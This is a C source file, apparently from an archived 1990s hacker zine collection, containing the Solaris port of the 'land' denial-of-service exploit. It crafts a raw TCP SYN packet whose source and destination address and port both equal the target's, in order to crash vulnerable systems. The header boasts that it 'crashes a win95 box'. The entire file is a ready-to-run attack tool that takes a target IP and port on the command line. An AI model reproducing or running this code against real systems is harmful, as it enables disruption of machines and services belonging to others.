home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / solaris_land.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  4KB  |  144 lines

  1.  
  2. /* land.c by m3lt, FLC
  3.    crashes a win95 box
  4.    Ported by blast and jerm to 44BSD
  5.    Ported by ziro antagonist to Solaris 2.5*/
  6.  
  7. #include <signal.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <netdb.h>
  11. #include <sys/socket.h>
  12. #include <sys/types.h>
  13. #include <netinet/in.h>
  14. #include <netinet/in_systm.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/tcp.h>
  17. #include <netinet/ip_icmp.h>
  18. #include <ctype.h>
  19. #include <arpa/inet.h>
  20. #include <unistd.h>
  21. #include <string.h>
  22. #include <errno.h>
  23.  
  24.  
  25. /* #include <netinet/ip_tcp.h> */
  26. /* #include <netinet/protocols.h> */
  27.  
  28. /*
  29. struct pseudohdr
  30. {
  31.         struct in_addr saddr;
  32.         struct in_addr daddr;
  33.         u_char zero;
  34.         u_char protocol;
  35.         u_short length;
  36.         struct tcphdr tcpheader;
  37. };
  38.  
  39. u_short checksum(u_short * data,u_short length)
  40. {
  41.         register long value;
  42.         u_short i;
  43.  
  44.         for(i=0;i<(length>>1);i++)
  45.                 value+=data[i];
  46.  
  47.         if((length&1)==1)
  48.                 value+=(data[i]<<8);
  49.  
  50.         value=(value&65535)+(value>>16);
  51.  
  52.         return(~value);
  53. }
  54. */
  55.  
  56. int main(int argc,char * * argv)
  57. {
  58.         struct sockaddr_in sin;
  59.         struct hostent * hoste;
  60.         int sock,foo;
  61.         char buffer[40];
  62.         struct ip * ipheader=(struct ip *) buffer;
  63.         struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
  64. /*      struct pseudohdr pseudoheader;*/
  65.  
  66.         fprintf(stderr,"land.c by m3lt mod by blast, FLC, mod by ziro\n");
  67.  
  68.         if(argc<3)
  69.         {
  70.                 fprintf(stderr,"usage: %s IP port\n",argv[0]);
  71.                 return(-1);
  72.         }
  73.  
  74.         bzero(&sin,sizeof(struct sockaddr_in));
  75.         sin.sin_family=AF_INET;
  76.  
  77.         if((hoste=gethostbyname(argv[1]))!=NULL)
  78.                 bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
  79.         else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  80.         {
  81.                 fprintf(stderr,"unknown host %s\n",argv[1]);
  82.                 return(-1);
  83.         }
  84.  
  85.         if((sin.sin_port=htons(atoi(argv[2])))==0)
  86.         {
  87.                 fprintf(stderr,"unknown port %s\n",argv[2]);
  88.                 return(-1);
  89.         }
  90.  
  91.         if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
  92.         {
  93.                 fprintf(stderr,"couldn't allocate raw socket\n");
  94.                 return(-1);
  95.         }
  96.  
  97.         foo=1;
  98.         if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
  99.         {
  100.                 fprintf(stderr,"couldn't set raw header on socket\n");
  101.                 return(-1);
  102.         }
  103.  
  104.         bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
  105.         ipheader->ip_v=4;
  106.         ipheader->ip_hl=sizeof(struct ip)/4;
  107.         ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
  108.         ipheader->ip_id=htons(0xF1C);
  109.         ipheader->ip_ttl=255;
  110.         ipheader->ip_p=IPPROTO_TCP;
  111.         ipheader->ip_src=sin.sin_addr;
  112.         ipheader->ip_dst=sin.sin_addr;
  113.  
  114.         tcpheader->th_sport=sin.sin_port;
  115.         tcpheader->th_dport=sin.sin_port;
  116.         tcpheader->th_seq=htonl(0xF1C);
  117.         tcpheader->th_flags=TH_SYN;
  118.         tcpheader->th_off=sizeof(struct tcphdr)/4;
  119.         tcpheader->th_win=htons(2048);
  120.         tcpheader->th_sum=20;
  121.  
  122. /*
  123.         bzero(&pseudoheader,12+sizeof(struct tcphdr));
  124.         pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
  125.         pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  126.         pseudoheader.protocol=6;
  127.         pseudoheader.length=htons(sizeof(struct tcphdr));
  128.         bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
  129.         tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  130. */
  131.  
  132.         if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
  133.         {
  134.                 fprintf(stderr,"couldn't send packet,%d\n",errno);
  135.                 return(-1);
  136.         }
  137.  
  138.         fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
  139.  
  140.         close(sock);
  141.         return(0);
  142. }
  143.  
  144.